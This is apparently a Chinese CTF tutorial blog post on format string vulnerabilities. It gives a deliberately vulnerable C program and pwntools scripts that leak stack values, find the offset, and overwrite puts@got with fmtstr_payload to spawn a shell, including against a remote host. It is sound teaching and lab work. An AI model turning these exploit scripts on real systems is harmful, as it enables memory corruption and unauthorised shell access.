[{"data":1,"prerenderedAt":14473},["ShallowReactive",2],{"blog-post-/blogs/ctf-pwn-format-string-deep-dive":3,"all-blogs-for-navigation":1143},{"id":4,"title":5,"body":6,"description":1129,"extension":1130,"meta":1131,"navigation":100,"ogImage":1133,"path":1139,"seo":1140,"stem":1141,"__hash__":1142},"content/blogs/18. ctf-pwn-format-string-deep-dive.md","格式化字符串深入实战：%p 泄露、偏移定位与 %n 任意写",{"type":7,"value":8,"toc":1117},"minimark",[9,14,18,42,57,76,80,86,150,180,184,191,194,203,206,214,217,223,234,242,246,251,269,272,274,282,284,290,293,299,309,383,390,423,427,432,445,454,515,569,572,581,584,588,593,608,613,619,622,636,639,682,686,699,707,713,789,825,828,908,914,944,955,959,1026,1030,1037,1046,1090,1092,1098,1102,1113],[10,11,13],"h3",{"id":12},"一现实背景printf-的错误写法","一、现实背景：printf 的错误写法",[15,16,17],"p",{},"C 程序员常写的输出代码：",[19,20,25],"pre",{"className":21,"code":22,"language":23,"meta":24,"style":24},"language-c shiki shiki-themes dracula","printf(buf);      // 错误：buf 被当成格式字符串\nprintf(\"%s\", buf); // 正确：buf 只是数据\n","c","",[26,27,28,36],"code",{"__ignoreMap":24},[29,30,33],"span",{"class":31,"line":32},"line",1,[29,34,35],{},"printf(buf);      // 错误：buf 被当成格式字符串\n",[29,37,39],{"class":31,"line":38},2,[29,40,41],{},"printf(\"%s\", buf); // 正确：buf 只是数据\n",[15,43,44,45,48,49,52,53,56],{},"当 ",[26,46,47],{},"buf"," 内容是 ",[26,50,51],{},"%p"," 时，",[26,54,55],{},"printf"," 会把它当格式说明符，去读取\"本不存在的参数\"——读到的是栈与寄存器上的值。这造成两类能力：",[58,59,60,70],"ul",{},[61,62,63,65,66,69],"li",{},[26,64,51],{},"/",[26,67,68],{},"%s","：任意读（泄露内存）。",[61,71,72,75],{},[26,73,74],{},"%n","：任意写（写入内存）。",[10,77,79],{"id":78},"二漏洞程序与编译","二、漏洞程序与编译",[15,81,82,85],{},[26,83,84],{},"fmt.c","：",[19,87,89],{"className":21,"code":88,"language":23,"meta":24,"style":24},"#include \u003Cstdio.h>\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    return 0;\n}\n",[26,90,91,96,102,108,114,120,126,132,138,144],{"__ignoreMap":24},[29,92,93],{"class":31,"line":32},[29,94,95],{},"#include \u003Cstdio.h>\n",[29,97,98],{"class":31,"line":38},[29,99,101],{"emptyLinePlaceholder":100},true,"\n",[29,103,105],{"class":31,"line":104},3,[29,106,107],{},"int main() {\n",[29,109,111],{"class":31,"line":110},4,[29,112,113],{},"    char buf[100];\n",[29,115,117],{"class":31,"line":116},5,[29,118,119],{},"    setvbuf(stdout, NULL, _IONBF, 0);\n",[29,121,123],{"class":31,"line":122},6,[29,124,125],{},"    printf(\"> \");\n",[29,127,129],{"class":31,"line":128},7,[29,130,131],{},"    fgets(buf, sizeof(buf), stdin);\n",[29,133,135],{"class":31,"line":134},8,[29,136,137],{},"    printf(buf);          // 漏洞\n",[29,139,141],{"class":31,"line":140},9,[29,142,143],{},"    return 0;\n",[29,145,147],{"class":31,"line":146},10,[29,148,149],{},"}\n",[19,151,155],{"className":152,"code":153,"language":154,"meta":24,"style":24},"language-bash shiki shiki-themes dracula","gcc -o fmt fmt.c -fno-stack-protector -no-pie\n","bash",[26,156,157],{"__ignoreMap":24},[29,158,159,163,167,171,174,177],{"class":31,"line":32},[29,160,162],{"class":161},"sAOxA","gcc",[29,164,166],{"class":165},"sIQBb"," -o",[29,168,170],{"class":169},"s-mGx"," fmt",[29,172,173],{"class":169}," fmt.c",[29,175,176],{"class":165}," -fno-stack-protector",[29,178,179],{"class":165}," -no-pie\n",[10,181,183],{"id":182},"三核心步骤-1p-泄露","三、核心步骤 1：%p 泄露",[15,185,186,190],{},[187,188,189],"strong",{},"目的","：用最便宜的测试确认漏洞，并观察\"输入本身出现在参数列表里\"这一关键事实。",[15,192,193],{},"运行：",[19,195,197],{"className":152,"code":196,"language":154,"meta":24,"style":24},"./fmt\n",[26,198,199],{"__ignoreMap":24},[29,200,201],{"class":31,"line":32},[29,202,196],{"class":161},[15,204,205],{},"输入：",[19,207,212],{"className":208,"code":210,"language":211,"meta":24},[209],"language-text","%p.%p.%p.%p.%p.%p\n","text",[26,213,210],{"__ignoreMap":24},[15,215,216],{},"实际输出（本机 arm64 实测，Linux x86-64 输出形式一致、地址值不同）：",[19,218,221],{"className":219,"code":220,"language":211,"meta":24},[209],"> 0xfffffffffffffff0.0x16d8b6c48.0x40000000.0x70252e70252e7025.0x252e70252e70252e.0x100000a70\n",[26,222,220],{"__ignoreMap":24},[15,224,225,226,229,230,233],{},"出现一堆十六进制地址，漏洞确认。注意第 4、5 个值里有 ",[26,227,228],{},"0x70252e70","，正是 ",[26,231,232],{},"%p.%p"," 的 ASCII 字节——说明我们的输入本身也在参数列表里。",[15,235,236,85,239,241],{},[187,237,238],{},"为什么能泄露",[26,240,55],{}," 按格式串逐个取参数。我们没传参数，它就继续往寄存器/栈上读\"不存在的参数\"，读到的都是内存里的真实值。",[10,243,245],{"id":244},"四核心步骤-2偏移定位","四、核心步骤 2：偏移定位",[15,247,248,250],{},[187,249,189],{},"：确定\"我们的输入位于第几个参数\"，这是所有精确利用的前提。",[15,252,253,256,257,260,261,264,265,268],{},[187,254,255],{},"思路","：在输入开头放 4 个 ",[26,258,259],{},"A","，用 ",[26,262,263],{},"%N$p"," 逐个位置试探；哪个位置输出 ",[26,266,267],{},"0x41414141","，哪个位置就是输入起点。",[15,270,271],{},"要精确利用，需要知道\"我们的输入位于第几个参数\"。",[15,273,193],{},[19,275,276],{"className":152,"code":196,"language":154,"meta":24,"style":24},[26,277,278],{"__ignoreMap":24},[29,279,280],{"class":31,"line":32},[29,281,196],{"class":161},[15,283,205],{},[19,285,288],{"className":286,"code":287,"language":211,"meta":24},[209],"AAAA.%6$p\n",[26,289,287],{"__ignoreMap":24},[15,291,292],{},"预期输出（Linux x86-64 典型情况）：",[19,294,297],{"className":295,"code":296,"language":211,"meta":24},[209],"> AAAA.0x41414141\n",[26,298,296],{"__ignoreMap":24},[15,300,301,302,304,305,308],{},"出现 ",[26,303,267],{},"（",[26,306,307],{},"AAAA"," 的十六进制），说明 buf 起始位置是第 6 个参数，偏移 = 6。不同程序偏移不同（常见 6-10），确认方法就是逐个数：",[19,310,314],{"className":311,"code":312,"language":313,"meta":24,"style":24},"language-python shiki shiki-themes dracula","from pwn import *\n\nfor i in range(1, 15):\n    p = process('./fmt')\n    p.recvuntil(b'> ')\n    p.sendline(f'AAAA.%{i}$p'.encode())\n    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n    # .encode()：字符串转成字节串才能 sendline。\n    out = p.recvall()\n    if b'0x41414141' in out:\n        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n        print(f'offset = {i}')\n        break\n","python",[26,315,316,321,325,330,335,340,345,350,355,360,365,371,377],{"__ignoreMap":24},[29,317,318],{"class":31,"line":32},[29,319,320],{},"from pwn import *\n",[29,322,323],{"class":31,"line":38},[29,324,101],{"emptyLinePlaceholder":100},[29,326,327],{"class":31,"line":104},[29,328,329],{},"for i in range(1, 15):\n",[29,331,332],{"class":31,"line":110},[29,333,334],{},"    p = process('./fmt')\n",[29,336,337],{"class":31,"line":116},[29,338,339],{},"    p.recvuntil(b'> ')\n",[29,341,342],{"class":31,"line":122},[29,343,344],{},"    p.sendline(f'AAAA.%{i}$p'.encode())\n",[29,346,347],{"class":31,"line":128},[29,348,349],{},"    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n",[29,351,352],{"class":31,"line":134},[29,353,354],{},"    # .encode()：字符串转成字节串才能 sendline。\n",[29,356,357],{"class":31,"line":140},[29,358,359],{},"    out = p.recvall()\n",[29,361,362],{"class":31,"line":146},[29,363,364],{},"    if b'0x41414141' in out:\n",[29,366,368],{"class":31,"line":367},11,[29,369,370],{},"        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n",[29,372,374],{"class":31,"line":373},12,[29,375,376],{},"        print(f'offset = {i}')\n",[29,378,380],{"class":31,"line":379},13,[29,381,382],{},"        break\n",[15,384,385,386,389],{},"预期输出：",[26,387,388],{},"offset = 6","。",[15,391,392,393,396,397,399,400,403,404,407,408,411,412,407,415,418,419,422],{},"为什么从 6 开始：x86-64 调用约定前 6 个整数参数用寄存器（",[26,394,395],{},"rdi, rsi, rdx, rcx, r8, r9","），",[26,398,55],{}," 自己占 ",[26,401,402],{},"rdi","，所以 ",[26,405,406],{},"%1$p"," 到 ",[26,409,410],{},"%5$p"," 对应 ",[26,413,414],{},"rsi",[26,416,417],{},"r9","，",[26,420,421],{},"%6$p"," 开始读栈。",[10,424,426],{"id":425},"五核心步骤-3泄露-canary-与-libc","五、核心步骤 3：泄露 canary 与 libc",[15,428,429,431],{},[187,430,189],{},"：把栈上的关键保护值（canary）与库地址（libc）泄露出来，供后续利用。",[15,433,434,436,437,440,441,444],{},[187,435,255],{},"：不同数据在栈上有固定特征——canary 以 ",[26,438,439],{},"00"," 结尾，libc 地址以 ",[26,442,443],{},"0x7f"," 开头。扫描一段偏移后按特征识别。",[15,446,447,448,407,450,453],{},"把 ",[26,449,421],{},[26,451,452],{},"%40$p"," 全部打出来，识别特征值：",[455,456,457,470],"table",{},[458,459,460],"thead",{},[461,462,463,467],"tr",{},[464,465,466],"th",{},"值特征",[464,468,469],{},"内容",[471,472,473,485,496,506],"tbody",{},[461,474,475,482],{},[476,477,478,479,481],"td",{},"以 ",[26,480,439],{}," 结尾的随机值",[476,483,484],{},"canary",[461,486,487,493],{},[476,488,489,492],{},[26,490,491],{},"0x7fff"," 开头",[476,494,495],{},"栈地址",[461,497,498,503],{},[476,499,500,492],{},[26,501,502],{},"0x55/0x56",[476,504,505],{},"程序代码地址（PIE 基址相关）",[461,507,508,512],{},[476,509,510,492],{},[26,511,443],{},[476,513,514],{},"libc 地址",[19,516,518],{"className":311,"code":517,"language":313,"meta":24,"style":24},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\np.sendline(payload)\nout = p.recvall().decode().split('.')\n# 按点号切分，得到每个位置的值。\n\nfor i, v in enumerate(out):\n    if v.endswith('00') and len(v) == 18:\n        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n        print(f'possible canary at {i+6}: {v}')\n",[26,519,520,525,530,535,540,545,549,554,559,564],{"__ignoreMap":24},[29,521,522],{"class":31,"line":32},[29,523,524],{},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n",[29,526,527],{"class":31,"line":38},[29,528,529],{},"# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\n",[29,531,532],{"class":31,"line":104},[29,533,534],{},"p.sendline(payload)\n",[29,536,537],{"class":31,"line":110},[29,538,539],{},"out = p.recvall().decode().split('.')\n",[29,541,542],{"class":31,"line":116},[29,543,544],{},"# 按点号切分，得到每个位置的值。\n",[29,546,547],{"class":31,"line":122},[29,548,101],{"emptyLinePlaceholder":100},[29,550,551],{"class":31,"line":128},[29,552,553],{},"for i, v in enumerate(out):\n",[29,555,556],{"class":31,"line":134},[29,557,558],{},"    if v.endswith('00') and len(v) == 18:\n",[29,560,561],{"class":31,"line":140},[29,562,563],{},"        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n",[29,565,566],{"class":31,"line":146},[29,567,568],{},"        print(f'possible canary at {i+6}: {v}')\n",[15,570,571],{},"泄露 libc 地址后：",[19,573,575],{"className":311,"code":574,"language":313,"meta":24,"style":24},"libc.address = leaked_libc_addr - libc.symbols['puts']\n",[26,576,577],{"__ignoreMap":24},[29,578,579],{"class":31,"line":32},[29,580,574],{},[15,582,583],{},"与 ret2libc 的\"先泄露再计算\"思路完全一致。",[10,585,587],{"id":586},"六核心步骤-4n-任意写","六、核心步骤 4：%n 任意写",[15,589,590,592],{},[187,591,189],{},"：理解\"写内存\"的原语，为覆盖 GOT 做准备。",[15,594,595,85,597,599,600,603,604,607],{},[187,596,255],{},[26,598,74],{}," 把\"已打印字符数\"写入参数指向的地址。先用 ",[26,601,602],{},"%100c"," 精确控制打印量，再用 ",[26,605,606],{},"%N$n"," 写到目标地址。",[15,609,610,612],{},[26,611,74],{}," 把\"当前已经打印的字符数\"写入参数指向的地址：",[19,614,617],{"className":615,"code":616,"language":211,"meta":24},[209],"%100c%7$n\n",[26,618,616],{"__ignoreMap":24},[15,620,621],{},"执行过程：",[623,624,625,630],"ol",{},[61,626,627,629],{},[26,628,602],{}," 打印 100 个填充字符，已打印数变成 100。",[61,631,632,635],{},[26,633,634],{},"%7$n"," 把 100 写入第 7 个参数指向的地址。",[15,637,638],{},"所以如果第 7 个参数恰好是我们输入里的一个地址，就能往那个地址写 100。写入宽度控制：",[455,640,641,651],{},[458,642,643],{},[461,644,645,648],{},[464,646,647],{},"说明符",[464,649,650],{},"写入字节数",[471,652,653,662,672],{},[461,654,655,659],{},[476,656,657],{},[26,658,74],{},[476,660,661],{},"4 字节",[461,663,664,669],{},[476,665,666],{},[26,667,668],{},"%hn",[476,670,671],{},"2 字节",[461,673,674,679],{},[476,675,676],{},[26,677,678],{},"%hhn",[476,680,681],{},"1 字节",[10,683,685],{"id":684},"七核心步骤-5fmtstr_payload-覆盖-got","七、核心步骤 5：fmtstr_payload 覆盖 GOT",[15,687,688,690,691,694,695,698],{},[187,689,189],{},"：把程序即将调用的 ",[26,692,693],{},"puts"," 改成我们的 ",[26,696,697],{},"win","，实现控制流劫持。",[15,700,701,85,703,706],{},[187,702,255],{},[26,704,705],{},"puts@got"," 存的是 puts 真实地址；程序每次调 puts 都先查 GOT。把 GOT 内容改成 win 地址，下一次调用就变成执行 win。验证方式：发送 payload 后看是否进入 shell。",[15,708,709,710,85],{},"目标程序 ",[26,711,712],{},"fmt2.c",[19,714,716],{"className":21,"code":715,"language":23,"meta":24,"style":24},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    puts(\"Done\");         // 触发 puts@got → win\n    return 0;\n}\n",[26,717,718,722,727,731,736,741,745,749,753,757,761,765,769,773,779,784],{"__ignoreMap":24},[29,719,720],{"class":31,"line":32},[29,721,95],{},[29,723,724],{"class":31,"line":38},[29,725,726],{},"#include \u003Cstdlib.h>\n",[29,728,729],{"class":31,"line":104},[29,730,101],{"emptyLinePlaceholder":100},[29,732,733],{"class":31,"line":110},[29,734,735],{},"void win() {\n",[29,737,738],{"class":31,"line":116},[29,739,740],{},"    system(\"/bin/sh\");\n",[29,742,743],{"class":31,"line":122},[29,744,149],{},[29,746,747],{"class":31,"line":128},[29,748,101],{"emptyLinePlaceholder":100},[29,750,751],{"class":31,"line":134},[29,752,107],{},[29,754,755],{"class":31,"line":140},[29,756,113],{},[29,758,759],{"class":31,"line":146},[29,760,119],{},[29,762,763],{"class":31,"line":367},[29,764,125],{},[29,766,767],{"class":31,"line":373},[29,768,131],{},[29,770,771],{"class":31,"line":379},[29,772,137],{},[29,774,776],{"class":31,"line":775},14,[29,777,778],{},"    puts(\"Done\");         // 触发 puts@got → win\n",[29,780,782],{"class":31,"line":781},15,[29,783,143],{},[29,785,787],{"class":31,"line":786},16,[29,788,149],{},[19,790,792],{"className":152,"code":791,"language":154,"meta":24,"style":24},"gcc -o fmt2 fmt2.c -fno-stack-protector -no-pie\npwn checksec ./fmt2     # 需为 Partial RELRO，GOT 可写\n",[26,793,794,810],{"__ignoreMap":24},[29,795,796,798,800,803,806,808],{"class":31,"line":32},[29,797,162],{"class":161},[29,799,166],{"class":165},[29,801,802],{"class":169}," fmt2",[29,804,805],{"class":169}," fmt2.c",[29,807,176],{"class":165},[29,809,179],{"class":165},[29,811,812,815,818,821],{"class":31,"line":38},[29,813,814],{"class":161},"pwn",[29,816,817],{"class":169}," checksec",[29,819,820],{"class":169}," ./fmt2",[29,822,824],{"class":823},"shSDL","     # 需为 Partial RELRO，GOT 可写\n",[15,826,827],{},"利用脚本：",[19,829,831],{"className":311,"code":830,"language":313,"meta":24,"style":24},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\n# context.binary 让 pwntools 自动识别架构与位数。\np = process('./fmt2')\n\noffset = 6\npayload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n# fmtstr_payload(offset, writes)：\n#   第一个参数 offset：输入在参数列表中的位置；\n#   第二个参数是字典 {目标地址: 要写入的值}。\n# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n\np.sendline(payload)\np.interactive()\n",[26,832,833,837,841,846,851,856,860,865,870,875,880,885,890,895,899,903],{"__ignoreMap":24},[29,834,835],{"class":31,"line":32},[29,836,320],{},[29,838,839],{"class":31,"line":38},[29,840,101],{"emptyLinePlaceholder":100},[29,842,843],{"class":31,"line":104},[29,844,845],{},"context.binary = elf = ELF('./fmt2')\n",[29,847,848],{"class":31,"line":110},[29,849,850],{},"# context.binary 让 pwntools 自动识别架构与位数。\n",[29,852,853],{"class":31,"line":116},[29,854,855],{},"p = process('./fmt2')\n",[29,857,858],{"class":31,"line":122},[29,859,101],{"emptyLinePlaceholder":100},[29,861,862],{"class":31,"line":128},[29,863,864],{},"offset = 6\n",[29,866,867],{"class":31,"line":134},[29,868,869],{},"payload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n",[29,871,872],{"class":31,"line":140},[29,873,874],{},"# fmtstr_payload(offset, writes)：\n",[29,876,877],{"class":31,"line":146},[29,878,879],{},"#   第一个参数 offset：输入在参数列表中的位置；\n",[29,881,882],{"class":31,"line":367},[29,883,884],{},"#   第二个参数是字典 {目标地址: 要写入的值}。\n",[29,886,887],{"class":31,"line":373},[29,888,889],{},"# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n",[29,891,892],{"class":31,"line":379},[29,893,894],{},"# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n",[29,896,897],{"class":31,"line":775},[29,898,101],{"emptyLinePlaceholder":100},[29,900,901],{"class":31,"line":781},[29,902,534],{},[29,904,905],{"class":31,"line":786},[29,906,907],{},"p.interactive()\n",[15,909,910,913],{},[26,911,912],{},"fmtstr_payload"," 自动完成：",[623,915,916,921,928,938],{},[61,917,447,918,920],{},[26,919,697],{}," 地址拆成低 2 字节和高 2 字节。",[61,922,923,924,927],{},"生成 ",[26,925,926],{},"%c"," 控制打印量。",[61,929,930,931,933,934,937],{},"把两个目标地址（",[26,932,705],{},"、",[26,935,936],{},"puts@got+2","）放到对应参数位置。",[61,939,940,941,943],{},"用 ",[26,942,668],{}," 分别写入。",[15,945,946,947,950,951,954],{},"预期结果：程序执行 ",[26,948,949],{},"puts(\"Done\")"," 时实际调用 ",[26,952,953],{},"win()","，进入 shell。",[10,956,958],{"id":957},"八必学工具","八、必学工具",[455,960,961,974],{},[458,962,963],{},[461,964,965,968,971],{},[464,966,967],{},"工具",[464,969,970],{},"3 个核心功能",[464,972,973],{},"示例",[471,975,976,997,1010],{},[461,977,978,981,994],{},[476,979,980],{},"pwntools",[476,982,983,933,985,933,988,65,991],{},[26,984,912],{},[26,986,987],{},"FmtStr",[26,989,990],{},"sendline",[26,992,993],{},"recvuntil",[476,995,996],{},"见上文",[461,998,999,1002,1005],{},[476,1000,1001],{},"checksec",[476,1003,1004],{},"看 RELRO、Canary、PIE",[476,1006,1007],{},[26,1008,1009],{},"pwn checksec ./fmt2",[461,1011,1012,1015,1018],{},[476,1013,1014],{},"GDB（pwndbg）",[476,1016,1017],{},"断点、看栈、验证参数位置",[476,1019,1020,933,1023],{},[26,1021,1022],{},"break main",[26,1024,1025],{},"x/20gx $rsp",[10,1027,1029],{"id":1028},"九小-ctf-实战","九、小 CTF 实战",[15,1031,1032,1033,1036],{},"题目：远程运行 ",[26,1034,1035],{},"fmt2","（Partial RELRO、No PIE）。",[15,1038,1039,1041,1042,1045],{},[187,1040,255],{},"：与本地脚本唯一区别是 ",[26,1043,1044],{},"remote()"," 连远程；若远程提示与本地不同，先本地确认 offset 再改。",[19,1047,1049],{"className":311,"code":1048,"language":313,"meta":24,"style":24},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\np = remote('1.2.3.4', 10002)\n\npayload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[26,1050,1051,1055,1059,1063,1068,1072,1077,1081,1086],{"__ignoreMap":24},[29,1052,1053],{"class":31,"line":32},[29,1054,320],{},[29,1056,1057],{"class":31,"line":38},[29,1058,101],{"emptyLinePlaceholder":100},[29,1060,1061],{"class":31,"line":104},[29,1062,845],{},[29,1064,1065],{"class":31,"line":110},[29,1066,1067],{},"p = remote('1.2.3.4', 10002)\n",[29,1069,1070],{"class":31,"line":116},[29,1071,101],{"emptyLinePlaceholder":100},[29,1073,1074],{"class":31,"line":122},[29,1075,1076],{},"payload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\n",[29,1078,1079],{"class":31,"line":128},[29,1080,534],{},[29,1082,1083],{"class":31,"line":134},[29,1084,1085],{},"p.sendline(b'cat flag')\n",[29,1087,1088],{"class":31,"line":140},[29,1089,907],{},[15,1091,385],{},[19,1093,1096],{"className":1094,"code":1095,"language":211,"meta":24},[209],"flag{format_string}\n",[26,1097,1095],{"__ignoreMap":24},[10,1099,1101],{"id":1100},"十小结","十、小结",[15,1103,1104,1105,65,1107,1109,1110,1112],{},"格式化字符串提供两种原语：",[26,1106,51],{},[26,1108,68],{}," 任意读，",[26,1111,74],{}," 系列任意写。掌握偏移定位后，既可以泄露 canary/libc 辅助栈溢出，也可以直接覆盖 GOT 或函数指针拿 shell。",[1114,1115,1116],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":24,"searchDepth":38,"depth":38,"links":1118},[1119,1120,1121,1122,1123,1124,1125,1126,1127,1128],{"id":12,"depth":104,"text":13},{"id":78,"depth":104,"text":79},{"id":182,"depth":104,"text":183},{"id":244,"depth":104,"text":245},{"id":425,"depth":104,"text":426},{"id":586,"depth":104,"text":587},{"id":684,"depth":104,"text":685},{"id":957,"depth":104,"text":958},{"id":1028,"depth":104,"text":1029},{"id":1100,"depth":104,"text":1101},"格式化字符串漏洞：printf(buf) 漏洞原理、%p 泄露与偏移定位、%n 任意写原理、fmtstr_payload 覆盖 GOT。","md",{"date":1132,"image":1133,"alt":1134,"tags":1135,"published":100},"14th Aug 2026","/blogs-img/blog3.png","格式化字符串深入实战",[1136,814,1137,1138],"ctf","格式化字符串","example","/blogs/ctf-pwn-format-string-deep-dive",{"title":5,"description":1129},"blogs/18. ctf-pwn-format-string-deep-dive","3BARIEfzO4zPWgXrmyFfLGY_TycY4NGsa0XAo3Gs6Fo",[1144,2461,3306,4311,5277,6682,7741,8693,9787,10613,11592,12614],{"id":1145,"title":1146,"body":1147,"description":2451,"extension":1130,"meta":2452,"navigation":100,"ogImage":2453,"path":2457,"seo":2458,"stem":2459,"__hash__":2460},"content/blogs/10. ctf-reverse-overview.md","CTF 逆向入门：侦查、反汇编与 GDB 调试",{"type":7,"value":1148,"toc":2441},[1149,1153,1156,1159,1208,1211,1215,1218,1246,1253,1257,1262,1267,1272,1274,1287,1289,1295,1306,1311,1315,1317,1329,1331,1337,1347,1364,1367,1372,1395,1399,1411,1416,1428,1433,1438,1442,1447,1464,1468,1470,1491,1494,1534,1537,1594,1597,1651,1658,1678,1682,1715,1718,1738,1745,1761,1765,1785,1787,1793,1803,1815,1819,1822,1885,1888,1908,1911,1936,1939,1943,1946,1951,1960,1972,1975,1979,1989,1991,1997,2001,2010,2012,2018,2021,2025,2034,2037,2041,2050,2056,2065,2068,2092,2099,2112,2115,2121,2124,2130,2134,2214,2223,2227,2234,2238,2243,2256,2272,2278,2282,2287,2296,2302,2311,2315,2320,2329,2394,2396,2402,2406,2419,2423,2427,2438],[10,1150,1152],{"id":1151},"一现实背景为什么需要逆向","一、现实背景：为什么需要逆向",[15,1154,1155],{},"商业软件只发布编译后的二进制文件，不发布源码。恶意软件分析、漏洞研究、授权校验分析都依赖逆向。CTF 逆向题最常见的形式：程序读取一个输入，判断对不对，对就输出 flag；不给你源码，只给你编译好的文件。",[15,1157,1158],{},"目标程序示例：",[19,1160,1162],{"className":152,"code":1161,"language":154,"meta":24,"style":24},"$ ./checkflag\nUsage: ./checkflag \u003Cflag>\n$ ./checkflag test\nWrong!\n",[26,1163,1164,1172,1194,1203],{"__ignoreMap":24},[29,1165,1166,1169],{"class":31,"line":32},[29,1167,1168],{"class":161},"$",[29,1170,1171],{"class":169}," ./checkflag\n",[29,1173,1174,1177,1180,1184,1187,1191],{"class":31,"line":38},[29,1175,1176],{"class":161},"Usage:",[29,1178,1179],{"class":169}," ./checkflag",[29,1181,1183],{"class":1182},"s0Tla"," \u003C",[29,1185,1186],{"class":169},"fla",[29,1188,1190],{"class":1189},"sCdxs","g",[29,1192,1193],{"class":1182},">\n",[29,1195,1196,1198,1200],{"class":31,"line":104},[29,1197,1168],{"class":161},[29,1199,1179],{"class":169},[29,1201,1202],{"class":169}," test\n",[29,1204,1205],{"class":31,"line":110},[29,1206,1207],{"class":161},"Wrong!\n",[15,1209,1210],{},"解题目标：通过分析二进制，找出正确输入。",[10,1212,1214],{"id":1213},"二环境准备","二、环境准备",[15,1216,1217],{},"在 Linux（Kali/Ubuntu）上：",[19,1219,1221],{"className":152,"code":1220,"language":154,"meta":24,"style":24},"apt install file binutils gdb ltrace strace\n",[26,1222,1223],{"__ignoreMap":24},[29,1224,1225,1228,1231,1234,1237,1240,1243],{"class":31,"line":32},[29,1226,1227],{"class":161},"apt",[29,1229,1230],{"class":169}," install",[29,1232,1233],{"class":169}," file",[29,1235,1236],{"class":169}," binutils",[29,1238,1239],{"class":169}," gdb",[29,1241,1242],{"class":169}," ltrace",[29,1244,1245],{"class":169}," strace\n",[15,1247,1248,1249,1252],{},"本文以编译后的 ",[26,1250,1251],{},"checkflag"," 为例，逐步演示。",[10,1254,1256],{"id":1255},"三核心步骤-1侦查","三、核心步骤 1：侦查",[15,1258,1259,1261],{},[187,1260,189],{},"：在不运行程序的情况下，先收集\"程序是什么、里面写了什么字符串\"。",[15,1263,1264,1266],{},[187,1265,255],{},"：程序类型决定用什么工具（ELF 用 objdump，PE 用其他）；字符串往往直接暴露提示、密钥甚至 flag。先做最便宜的三件事，通常能直接定位简单题。",[1268,1269,1271],"h4",{"id":1270},"_31-file看文件类型","3.1 file：看文件类型",[15,1273,205],{},[19,1275,1277],{"className":152,"code":1276,"language":154,"meta":24,"style":24},"file checkflag\n",[26,1278,1279],{"__ignoreMap":24},[29,1280,1281,1284],{"class":31,"line":32},[29,1282,1283],{"class":161},"file",[29,1285,1286],{"class":169}," checkflag\n",[15,1288,385],{},[19,1290,1293],{"className":1291,"code":1292,"language":211,"meta":24},[209],"checkflag: ELF 64-bit LSB pie executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped\n",[26,1294,1292],{"__ignoreMap":24},[15,1296,1297,1298,1301,1302,1305],{},"重点看最后：",[26,1299,1300],{},"not stripped"," 表示符号表还在，函数名（main、check）可见；如果是 ",[26,1303,1304],{},"stripped","，函数名被删，难度更高。",[15,1307,1308,1310],{},[187,1309,189],{},"：确认我们面对的是 ELF 还是 PE、多少位、是否被 strip。这决定后续用 objdump 还是其他工具，以及能否直接看到函数名。",[1268,1312,1314],{"id":1313},"_32-strings提取字符串","3.2 strings：提取字符串",[15,1316,205],{},[19,1318,1320],{"className":152,"code":1319,"language":154,"meta":24,"style":24},"strings checkflag\n",[26,1321,1322],{"__ignoreMap":24},[29,1323,1324,1327],{"class":31,"line":32},[29,1325,1326],{"class":161},"strings",[29,1328,1286],{"class":169},[15,1330,385],{},[19,1332,1335],{"className":1333,"code":1334,"language":211,"meta":24},[209],"/lib64/ld-linux-x86-64.so.2\nUsage: ./checkflag \u003Cflag>\nCorrect!\nWrong!\n",[26,1336,1334],{"__ignoreMap":24},[15,1338,1339,1340,1342,1343,1346],{},"三个提示字符串都出来了，但还没有 flag。注意 ",[26,1341,1326],{}," 默认只显示长度 ≥ 4 的字符串，短字符串用 ",[26,1344,1345],{},"-n"," 指定：",[19,1348,1350],{"className":152,"code":1349,"language":154,"meta":24,"style":24},"strings -n 3 checkflag\n",[26,1351,1352],{"__ignoreMap":24},[29,1353,1354,1356,1359,1362],{"class":31,"line":32},[29,1355,1326],{"class":161},[29,1357,1358],{"class":165}," 